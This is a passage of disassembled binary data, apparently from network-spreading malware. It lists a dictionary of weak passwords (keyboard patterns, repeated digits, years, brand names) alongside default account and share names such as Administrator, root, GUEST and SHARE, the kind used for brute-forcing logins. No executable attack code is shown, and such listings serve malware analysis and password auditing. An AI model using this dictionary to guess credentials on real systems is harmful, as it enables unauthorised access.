		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd 0
dword_424AA4	dd 10h							; seg000:0040965Br ...
a142536		db '142536',0           ; DATA XREF: seg002:00424A28o
		align 10h
a753951		db '753951',0           ; DATA XREF: seg002:00424A24o
		align 4
a951753		db '951753',0           ; DATA XREF: seg002:00424A20o
		align 10h
a159357		db '159357',0           ; DATA XREF: seg002:00424A1Co
		align 4
a753159		db '753159',0           ; DATA XREF: seg002:00424A18o
		align 10h
a13579		db '13579',0            ; DATA XREF: seg002:00424A14o
		align 4
a2684		db '2684',0             ; DATA XREF: seg002:00424A10o
		align 10h
a2486		db '2486',0             ; DATA XREF: seg002:00424A0Co
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: seg002:00424A08o
		align 10h
aMnb		db 'mnb',0              ; DATA XREF: seg002:00424A04o
a112233		db '112233',0           ; DATA XREF: seg002:00424A00o
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: seg002:004249FCo
		align 4
a3edc		db '3edc',0             ; DATA XREF: seg002:004249F8o
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: seg002:004249F4o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: seg002:004249F0o
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: seg002:004249ECo
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: seg002:004249E8o
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: seg002:004249E4o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: seg002:004249E0o
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: seg002:004249DCo
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: seg002:004249D8o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: seg002:004249D4o
		align 10h
aQqww		db 'qqww',0             ; DATA XREF: seg002:004249D0o
		align 4
aAass		db 'aass',0             ; DATA XREF: seg002:004249CCo
		align 10h
aZzxx		db 'zzxx',0             ; DATA XREF: seg002:004249C8o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: seg002:004249C4o
		align 10h
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: seg002:004249C0o
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: seg002:004249BCo
		align 10h
aZzzz		db 'zzzz',0             ; DATA XREF: seg002:004249B8o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: seg002:004249B4o
aZz		db 'zz',0               ; DATA XREF: seg002:004249B0o
		align 10h
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: seg002:004249A8o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: seg002:004249A4o
		align 10h
aQqqq		db 'qqqq',0             ; DATA XREF: seg002:004249A0o
		align 4
aQqq		db 'qqq',0              ; DATA XREF: seg002:0042499Co
aQq		db 'qq',0               ; DATA XREF: seg002:00424998o
		align 10h
aQ:					; DATA XREF: seg002:00424994o
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: seg002:00424990o
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: seg002:0042498Co
		align 4
aWwww		db 'wwww',0             ; DATA XREF: seg002:00424988o
		align 4
aWww		db 'www',0              ; DATA XREF: seg002:00424984o
aWw		db 'ww',0               ; DATA XREF: seg002:00424980o
		align 4
aW:					; DATA XREF: seg002:0042497Co
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: seg002:00424978o
		align 10h
aVvvvv		db 'vvvvv',0            ; DATA XREF: seg002:00424974o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: seg002:00424970o
		align 10h
aVvv		db 'vvv',0              ; DATA XREF: seg000:0040AE3Ao
					; seg002:0042496Co
aVv		db 'vv',0               ; DATA XREF: seg000:0040A3CDo
					; seg002:00424968o
		align 4
aV:					; DATA XREF: seg002:00424964o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: seg002:00424960o
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: seg002:0042495Co
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: seg002:00424958o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: seg002:00424954o
aYy		db 'yy',0               ; DATA XREF: seg002:00424950o
		align 4
aY:					; DATA XREF: seg002:0042494Co
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: seg002:00424948o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: seg002:00424944o
		align 10h
aTttt		db 'tttt',0             ; DATA XREF: seg002:00424940o
		align 4
aTtt		db 'ttt',0              ; DATA XREF: seg002:0042493Co
aTt		db 'tt',0               ; DATA XREF: seg002:00424938o
		align 10h
aT:					; DATA XREF: seg002:00424934o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: seg002:00424930o
		align 4
aSssss		db 'sssss',0            ; DATA XREF: seg002:0042492Co
		align 4
aSsss		db 'ssss',0             ; DATA XREF: seg002:00424928o
		align 4
aSss		db 'sss',0              ; DATA XREF: seg002:00424924o
aSs		db 'ss',0               ; DATA XREF: seg002:00424920o
		align 4
aS_3:					; DATA XREF: seg002:0042491Co
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: seg002:00424918o
		align 10h
aUuuuu		db 'uuuuu',0            ; DATA XREF: seg002:00424914o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: seg002:00424910o
		align 10h
aUuu		db 'uuu',0              ; DATA XREF: seg002:0042490Co
aUu		db 'uu',0               ; DATA XREF: seg002:00424908o
		align 4
aU:					; DATA XREF: seg002:00424904o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: seg002:00424900o
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: seg002:004248FCo
		align 4
aPppp		db 'pppp',0             ; DATA XREF: seg002:004248F8o
		align 4
aPpp		db 'ppp',0              ; DATA XREF: seg002:004248F4o
aPp		db 'pp',0               ; DATA XREF: seg002:004248F0o
		align 4
aP:					; DATA XREF: seg002:004248ECo
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: seg002:004248E8o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: seg002:004248E4o
		align 10h
aOooo		db 'oooo',0             ; DATA XREF: seg002:004248E0o
		align 4
aOoo		db 'ooo',0              ; DATA XREF: seg002:004248DCo
aOo		db 'oo',0               ; DATA XREF: seg002:004248D8o
		align 10h
aO:					; DATA XREF: seg002:004248D4o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: seg002:004248D0o
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: seg002:004248CCo
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: seg002:004248C8o
		align 4
aNnn		db 'nnn',0              ; DATA XREF: seg002:004248C4o
aNn		db 'nn',0               ; DATA XREF: seg002:004248C0o
		align 4
aN:					; DATA XREF: seg002:004248BCo
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: seg002:004248B8o
		align 10h
aMmmmm		db 'mmmmm',0            ; DATA XREF: seg002:004248B4o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: seg002:004248B0o
		align 10h
aMmm		db 'mmm',0              ; DATA XREF: seg002:004248ACo
aMm		db 'mm',0               ; DATA XREF: seg002:004248A8o
		align 4
aM:					; DATA XREF: seg002:004248A4o
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: seg002:004248A0o
		align 4
aLllll		db 'lllll',0            ; DATA XREF: seg002:0042489Co
		align 4
aLlll		db 'llll',0             ; DATA XREF: seg002:00424898o
		align 4
aLll		db 'lll',0              ; DATA XREF: seg002:00424894o
aLl		db 'll',0               ; DATA XREF: seg002:00424890o
		align 4
asc_424D4C:				; DATA XREF: seg002:0042488Co
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: seg002:00424888o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: seg002:00424884o
		align 10h
aKkkk		db 'kkkk',0             ; DATA XREF: seg002:00424880o
		align 4
aKkk		db 'kkk',0              ; DATA XREF: seg002:0042487Co
aKk		db 'kk',0               ; DATA XREF: seg002:00424878o
		align 10h
aK:					; DATA XREF: seg002:00424874o
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: seg002:00424870o
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: seg002:0042486Co
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: seg002:00424868o
		align 4
aJjj		db 'jjj',0              ; DATA XREF: seg002:00424864o
aJj		db 'jj',0               ; DATA XREF: seg002:00424860o
		align 4
aJ:					; DATA XREF: seg002:0042485Co
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: seg002:00424858o
		align 10h
aIiiii		db 'iiiii',0            ; DATA XREF: seg002:00424854o
		align 4
aIiii		db 'iiii',0             ; DATA XREF: seg002:00424850o
		align 10h
aIii		db 'iii',0              ; DATA XREF: seg002:0042484Co
aIi		db 'ii',0               ; DATA XREF: seg002:00424848o
		align 4
aI_0:					; DATA XREF: seg002:00424844o
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: seg002:00424840o
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: seg002:0042483Co
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: seg002:00424838o
		align 4
aHhh		db 'hhh',0              ; DATA XREF: seg002:00424834o
aHh		db 'hh',0               ; DATA XREF: seg002:00424830o
		align 4
asc_424DDC:				; DATA XREF: seg002:0042482Co
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: seg002:00424828o
		align 4
aGgggg		db 'ggggg',0            ; DATA XREF: seg002:00424824o
		align 10h
aGggg		db 'gggg',0             ; DATA XREF: seg002:00424820o
		align 4
aGgg		db 'ggg',0              ; DATA XREF: seg002:0042481Co
aGg		db 'gg',0               ; DATA XREF: seg002:00424818o
		align 10h
aG:					; DATA XREF: seg002:00424814o
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: seg002:00424810o
		align 4
aEeeee		db 'eeeee',0            ; DATA XREF: seg002:0042480Co
		align 4
aEeee		db 'eeee',0             ; DATA XREF: seg002:00424808o
		align 4
aEee		db 'eee',0              ; DATA XREF: seg002:00424804o
aEe		db 'ee',0               ; DATA XREF: seg002:00424800o
		align 4
aE:					; DATA XREF: seg002:004247FCo
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: seg002:004247F8o
		align 10h
aFfff		db 'ffff',0             ; DATA XREF: seg002:004247F4o
		align 4
aFff		db 'fff',0              ; DATA XREF: seg002:004247F0o
aFf		db 'ff',0               ; DATA XREF: seg002:004247ECo
		align 10h
aF:					; DATA XREF: seg002:004247E8o
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: seg002:004247E4o
		align 4
aDddd		db 'dddd',0             ; DATA XREF: seg002:004247E0o
		align 4
aDdd		db 'ddd',0              ; DATA XREF: seg002:004247DCo
aDd		db 'dd',0               ; DATA XREF: seg002:004247D8o
		align 4
aD:					; DATA XREF: seg002:004247D4o
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: seg002:004247D0o
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: seg002:004247CCo
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: seg002:004247C8o
aCccccc		db 'cccccc',0           ; DATA XREF: seg002:004247C4o
		align 4
aCcccc		db 'ccccc',0            ; DATA XREF: seg002:004247C0o
		align 10h
aCccc_0		db 'cccc',0             ; DATA XREF: seg002:004247BCo
		align 4
aCcc		db 'ccc',0              ; DATA XREF: seg002:004247B8o
aCc		db 'cc',0               ; DATA XREF: seg002:004247B4o
		align 10h
aC:					; DATA XREF: seg002:004247B0o
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: seg002:004247ACo
		align 10h
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: seg002:004247A8o
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: seg002:004247A4o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: seg002:004247A0o
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: seg002:0042479Co
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: seg002:00424798o
		align 4
aBbb		db 'bbb',0              ; DATA XREF: seg002:00424794o
aBb		db 'bb',0               ; DATA XREF: seg002:00424790o
		align 4
aB:					; DATA XREF: seg002:0042478Co
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: seg002:00424788o
aEdc		db 'edc',0              ; DATA XREF: seg002:00424784o
aWsx		db 'wsx',0              ; DATA XREF: seg002:00424780o
aQaz		db 'qaz',0              ; DATA XREF: seg002:0042477Co
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: seg002:00424778o
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: seg002:00424774o
		align 10h
aAsdfghj	db 'asdfghj',0          ; DATA XREF: seg002:00424770o
aAsdfgh		db 'asdfgh',0           ; DATA XREF: seg002:0042476Co
		align 10h
aAsdfg		db 'asdfg',0            ; DATA XREF: seg002:00424768o
		align 4
aAs		db 'as',0               ; DATA XREF: seg002:0042475Co
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: seg002:00424758o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: seg002:00424754o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: seg002:00424750o
		align 4
aZxc		db 'zxc',0              ; DATA XREF: seg002:00424748o
aZx		db 'zx',0               ; DATA XREF: seg002:00424744o
		align 4
aZ:					; DATA XREF: seg002:00424740o
					; seg002:004249ACo
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: seg002:0042473Co
aToyota_0	db 'TOYOTA',0           ; DATA XREF: seg002:00424704o
		align 10h
aKor		db 'KOR',0              ; DATA XREF: seg002:00424700o
aKor_0		db 'kor',0              ; DATA XREF: seg002:004246F8o
aChi		db 'chi',0              ; DATA XREF: seg002:004246F4o
aChi_0		db 'CHI',0              ; DATA XREF: seg002:004246F0o
aSystem		db 'system',0           ; DATA XREF: seg002:004246E8o
					; seg002:00424A2Co
		align 4
aServices	db 'services',0         ; DATA XREF: seg002:004246E4o
		align 4
aServers	db 'servers',0          ; DATA XREF: seg002:004246E0o
aServer_0	db 'server',0           ; DATA XREF: seg002:004246D8o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: seg002:004246D0o
		align 10h
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: seg002:004246CCo
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: seg002:004246C8o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: seg002:004246C4o
aQwe		db 'qwe',0              ; DATA XREF: seg002:004246B4o
aQw		db 'qw',0               ; DATA XREF: seg002:004246B0o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: seg002:004246ACo
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: seg002:004246A8o
		align 10h
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: seg002:004246A4o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: seg002:004246A0o
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: seg002:0042469Co
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: seg002:00424698o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: seg002:00424694o
		align 10h
aAaaa		db 'aaaa',0             ; DATA XREF: seg002:00424690o
		align 4
aAa		db 'aa',0               ; DATA XREF: seg002:00424688o
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: seg002:0042467Co
		align 4
aSex		db 'SEX',0              ; DATA XREF: seg002:00424678o
aCreative	db 'CREATIVE',0         ; DATA XREF: seg002:00424674o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: seg002:00424670o
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: seg002:0042466Co
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: seg002:00424668o
		align 10h
aSony_0		db 'SONY',0             ; DATA XREF: seg002:00424664o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: seg002:00424660o
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: seg002:0042465Co
aSony		db 'sony',0             ; DATA XREF: seg002:00424658o
		align 10h
a7654321	db '7654321',0          ; DATA XREF: seg002:00424654o
a4321		db '4321',0             ; DATA XREF: seg002:00424648o
		align 10h
a321		db '321',0              ; DATA XREF: seg002:00424644o
a2006		db '2006',0             ; DATA XREF: seg002:0042463Co
		align 4
a2005		db '2005',0             ; DATA XREF: seg002:00424638o
		align 4
a2004		db '2004',0             ; DATA XREF: seg002:00424634o
		align 4
a2001		db '2001',0             ; DATA XREF: seg002:00424628o
		align 4
a2000		db '2000',0             ; DATA XREF: seg002:00424624o
		align 4
a1999		db '1999',0             ; DATA XREF: seg002:00424620o
		align 4
a1998		db '1998',0             ; DATA XREF: seg002:0042461Co
		align 4
a1997		db '1997',0             ; DATA XREF: seg002:00424618o
		align 4
a1996		db '1996',0             ; DATA XREF: seg002:00424614o
		align 4
a1995		db '1995',0             ; DATA XREF: seg002:00424610o
		align 4
a1994		db '1994',0             ; DATA XREF: seg002:0042460Co
		align 4
a1993		db '1993',0             ; DATA XREF: seg002:00424608o
		align 4
a1992		db '1992',0             ; DATA XREF: seg002:00424604o
		align 4
a1991		db '1991',0             ; DATA XREF: seg002:00424600o
		align 4
a1990		db '1990',0             ; DATA XREF: seg002:004245FCo
		align 4
a1989		db '1989',0             ; DATA XREF: seg002:004245F8o
		align 4
a1988		db '1988',0             ; DATA XREF: seg002:004245F4o
		align 4
a1987		db '1987',0             ; DATA XREF: seg002:004245F0o
		align 4
a1986		db '1986',0             ; DATA XREF: seg002:004245ECo
		align 4
a1985		db '1985',0             ; DATA XREF: seg002:004245E8o
		align 4
a1984		db '1984',0             ; DATA XREF: seg002:004245E4o
		align 4
a1983		db '1983',0             ; DATA XREF: seg002:004245E0o
		align 4
a1982		db '1982',0             ; DATA XREF: seg002:004245DCo
		align 4
a1981		db '1981',0             ; DATA XREF: seg002:004245D8o
		align 4
a1980		db '1980',0             ; DATA XREF: seg002:004245D4o
		align 4
a1979		db '1979',0             ; DATA XREF: seg002:004245D0o
		align 4
a1978		db '1978',0             ; DATA XREF: seg002:004245CCo
		align 4
a1977		db '1977',0             ; DATA XREF: seg002:004245C8o
		align 4
a1976		db '1976',0             ; DATA XREF: seg002:004245C4o
		align 4
a1975		db '1975',0             ; DATA XREF: seg002:004245C0o
		align 4
a1974		db '1974',0             ; DATA XREF: seg002:004245BCo
		align 4
a1973		db '1973',0             ; DATA XREF: seg002:004245B8o
		align 4
a1972		db '1972',0             ; DATA XREF: seg002:004245B4o
		align 4
a1971		db '1971',0             ; DATA XREF: seg002:004245B0o
		align 4
a1970		db '1970',0             ; DATA XREF: seg002:004245ACo
		align 4
a1969		db '1969',0             ; DATA XREF: seg002:004245A8o
		align 4
a1968		db '1968',0             ; DATA XREF: seg002:004245A4o
		align 4
a1967		db '1967',0             ; DATA XREF: seg002:004245A0o
		align 4
a1966		db '1966',0             ; DATA XREF: seg002:0042459Co
		align 4
a1965		db '1965',0             ; DATA XREF: seg002:00424598o
		align 4
a1964		db '1964',0             ; DATA XREF: seg002:00424594o
		align 4
a1963		db '1963',0             ; DATA XREF: seg002:00424590o
		align 4
a1962		db '1962',0             ; DATA XREF: seg002:0042458Co
		align 4
a1961		db '1961',0             ; DATA XREF: seg002:00424588o
		align 4
a1960		db '1960',0             ; DATA XREF: seg002:00424584o
		align 4
a1959		db '1959',0             ; DATA XREF: seg002:00424580o
		align 4
a1958		db '1958',0             ; DATA XREF: seg002:0042457Co
		align 4
a1957		db '1957',0             ; DATA XREF: seg002:00424578o
		align 4
a1956		db '1956',0             ; DATA XREF: seg002:00424574o
		align 4
a1955		db '1955',0             ; DATA XREF: seg002:00424570o
		align 4
a1954		db '1954',0             ; DATA XREF: seg002:0042456Co
		align 4
a1953		db '1953',0             ; DATA XREF: seg002:00424568o
		align 4
a1952		db '1952',0             ; DATA XREF: seg002:00424564o
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: seg002:00424560o
a1234asd	db '1234asd',0          ; DATA XREF: seg002:0042455Co
a1234abc	db '1234abc',0          ; DATA XREF: seg002:00424558o
a123qwer	db '123qwer',0          ; DATA XREF: seg002:00424544o
a12qwe		db '12qwe',0            ; DATA XREF: seg002:00424540o
		align 4
a12asd		db '12asd',0            ; DATA XREF: seg002:0042453Co
		align 4
a12abc		db '12abc',0            ; DATA XREF: seg002:00424538o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: seg002:00424534o
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: seg002:00424530o
		align 4
a1asd		db '1asd',0             ; DATA XREF: seg002:0042452Co
		align 4
a1abc		db '1abc',0             ; DATA XREF: seg002:00424528o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: seg002:00424524o
		align 4
a123467890	db '123467890',0        ; DATA XREF: seg002:00424520o
		align 4
a12346789	db '12346789',0         ; DATA XREF: seg002:0042451Co
		align 4
a1234678	db '1234678',0          ; DATA XREF: seg002:00424518o
a123467		db '123467',0           ; DATA XREF: seg002:00424514o
		align 4
a12346		db '12346',0            ; DATA XREF: seg002:00424510o
		align 4
a121		db '121',0              ; DATA XREF: seg002:004244E8o
a1020		db '1020',0             ; DATA XREF: seg002:004244E0o
		align 4
a0258		db '0258',0             ; DATA XREF: seg002:004244DCo
		align 10h
a8520		db '8520',0             ; DATA XREF: seg002:004244D8o
		align 4
a987		db '987',0              ; DATA XREF: seg002:004244D4o
a789		db '789',0              ; DATA XREF: seg002:004244D0o
a654		db '654',0              ; DATA XREF: seg002:004244CCo
a456		db '456',0              ; DATA XREF: seg002:004244C8o
a1122		db '1122',0             ; DATA XREF: seg002:004244C4o
		align 10h
a0147		db '0147',0             ; DATA XREF: seg002:004244C0o
		align 4
a7410		db '7410',0             ; DATA XREF: seg002:004244BCo
		align 10h
a9999999999	db '9999999999',0       ; DATA XREF: seg002:004244B4o
		align 4
a999999999	db '999999999',0
		align 4
a99999999	db '99999999',0
		align 4
a9999999	db '9999999',0
a999999		db '999999',0
		align 4
a99999		db '99999',0
		align 4
a9999		db '9999',0
		align 4
a999		db '999',0
a99		db '99',0
		align 4
a9:
		unicode	0, <9>,0
a8888888888	db '8888888888',0
		align 4
a888888888	db '888888888',0
		align 4
a8888888	db '8888888',0
a888888		db '888888',0
		align 4
a88888		db '88888',0
		align 10h
a8888		db '8888',0
		align 4
a888		db '888',0
a88		db '88',0
		align 10h
a8:
		unicode	0, <8>,0
a7777777777	db '7777777777',0
		align 10h
a777777777	db '777777777',0
		align 4
a77777777	db '77777777',0
		align 4
a7777777	db '7777777',0
a777777		db '777777',0
		align 4
a77777		db '77777',0
		align 10h
a7777		db '7777',0
		align 4
a777		db '777',0
a77		db '77',0
		align 10h
a7:
		unicode	0, <7>,0
a6666666666	db '6666666666',0
		align 10h
a666666666	db '666666666',0
		align 4
a66666666	db '66666666',0
		align 4
a6666666	db '6666666',0
a666666		db '666666',0
		align 4
a66666		db '66666',0
		align 10h
a6666		db '6666',0
		align 4
a666		db '666',0
a66		db '66',0
		align 10h
a6:
		unicode	0, <6>,0
a5555555555	db '5555555555',0
		align 10h
a555555555	db '555555555',0
		align 4
a55555555	db '55555555',0
		align 4
a5555555	db '5555555',0
a555555		db '555555',0
		align 4
a55555		db '55555',0
		align 10h
a5555		db '5555',0
		align 4
a555		db '555',0              ; DATA XREF: seg002:004243F8o
a55		db '55',0               ; DATA XREF: seg002:004243F4o
		align 10h
a5:					; DATA XREF: seg002:004243F0o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: seg002:004243ECo
		align 10h
a444444444	db '444444444',0        ; DATA XREF: seg002:004243E8o
		align 4
a44444444	db '44444444',0         ; DATA XREF: seg002:004243E4o
		align 4
a4444444	db '4444444',0          ; DATA XREF: seg002:004243E0o
a444444		db '444444',0           ; DATA XREF: seg002:004243DCo
		align 4
a44444		db '44444',0            ; DATA XREF: seg002:004243D8o
		align 10h
a4444		db '4444',0             ; DATA XREF: seg002:004243D4o
		align 4
a444		db '444',0              ; DATA XREF: seg002:004243D0o
a44		db '44',0               ; DATA XREF: seg002:004243CCo
		align 10h
a4:					; DATA XREF: seg002:004243C8o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: seg002:004243C4o
		align 10h
a333333333	db '333333333',0        ; DATA XREF: seg002:004243C0o
		align 4
a33333333	db '33333333',0         ; DATA XREF: seg002:004243BCo
		align 4
a3333333	db '3333333',0          ; DATA XREF: seg002:004243B8o
a333333		db '333333',0           ; DATA XREF: seg002:004243B4o
		align 4
a33333		db '33333',0            ; DATA XREF: seg002:004243B0o
		align 10h
a3333		db '3333',0             ; DATA XREF: seg002:004243ACo
		align 4
a333		db '333',0              ; DATA XREF: seg002:004243A8o
a33		db '33',0               ; DATA XREF: seg002:004243A4o
		align 10h
a3:					; DATA XREF: seg002:004243A0o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: seg002:0042439Co
		align 10h
a222222222	db '222222222',0        ; DATA XREF: seg002:00424398o
		align 4
a22222222	db '22222222',0         ; DATA XREF: seg002:00424394o
		align 4
a2222222	db '2222222',0          ; DATA XREF: seg002:00424390o
a222222		db '222222',0           ; DATA XREF: seg002:0042438Co
		align 4
a22222		db '22222',0            ; DATA XREF: seg002:00424388o
		align 10h
a2222		db '2222',0             ; DATA XREF: seg002:00424384o
		align 4
a222		db '222',0              ; DATA XREF: seg002:00424380o
a22		db '22',0               ; DATA XREF: seg002:0042437Co
		align 10h
a2:					; DATA XREF: seg002:00424378o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: seg002:00424374o
		align 10h
a111111111	db '111111111',0        ; DATA XREF: seg002:00424370o
		align 4
a1111111	db '1111111',0          ; DATA XREF: seg002:00424368o
a11111		db '11111',0            ; DATA XREF: seg002:00424360o
		align 4
a1111		db '1111',0             ; DATA XREF: seg002:0042435Co
		align 4
a11		db '11',0               ; DATA XREF: seg002:00424354o
		align 4
a010		db '010',0              ; DATA XREF: seg002:00424344o
a009		db '009',0              ; DATA XREF: seg002:00424340o
a008		db '008',0              ; DATA XREF: seg002:0042433Co
a006		db '006',0              ; DATA XREF: seg002:00424334o
a005		db '005',0              ; DATA XREF: seg000:00409158o
					; seg002:00424330o
a004		db '004',0              ; DATA XREF: seg002:0042432Co
a003		db '003',0              ; DATA XREF: seg002:00424328o
a002		db '002',0              ; DATA XREF: seg002:00424324o
a001		db '001',0              ; DATA XREF: seg000:00409143o
					; seg002:00424320o
asc_4255CC	db '*********',0        ; DATA XREF: seg002:0042431Co
		align 4
asc_4255D8	db '********',0         ; DATA XREF: seg002:00424318o
		align 4
asc_4255E4	db '*******',0          ; DATA XREF: seg002:00424314o
asc_4255EC	db '******',0           ; DATA XREF: seg002:00424310o
		align 4
asc_4255F4	db '*****',0            ; DATA XREF: seg002:0042430Co
		align 4
asc_4255FC	db '****',0             ; DATA XREF: seg002:00424308o
		align 4
asc_425604	db '***',0              ; DATA XREF: seg002:00424304o
asc_425608	db '**',0               ; DATA XREF: seg002:00424300o
		align 4
a0000000000	db '0000000000',0       ; DATA XREF: seg002:004242F8o
		align 4
a000000000	db '000000000',0        ; DATA XREF: seg002:004242F4o
		align 4
a@		db '@!',0               ; DATA XREF: seg002:004242D4o
		align 4
a@_0		db '#@!',0              ; DATA XREF: seg002:004242D0o
a@_1		db '$#@!',0             ; DATA XREF: seg002:004242CCo
		align 4
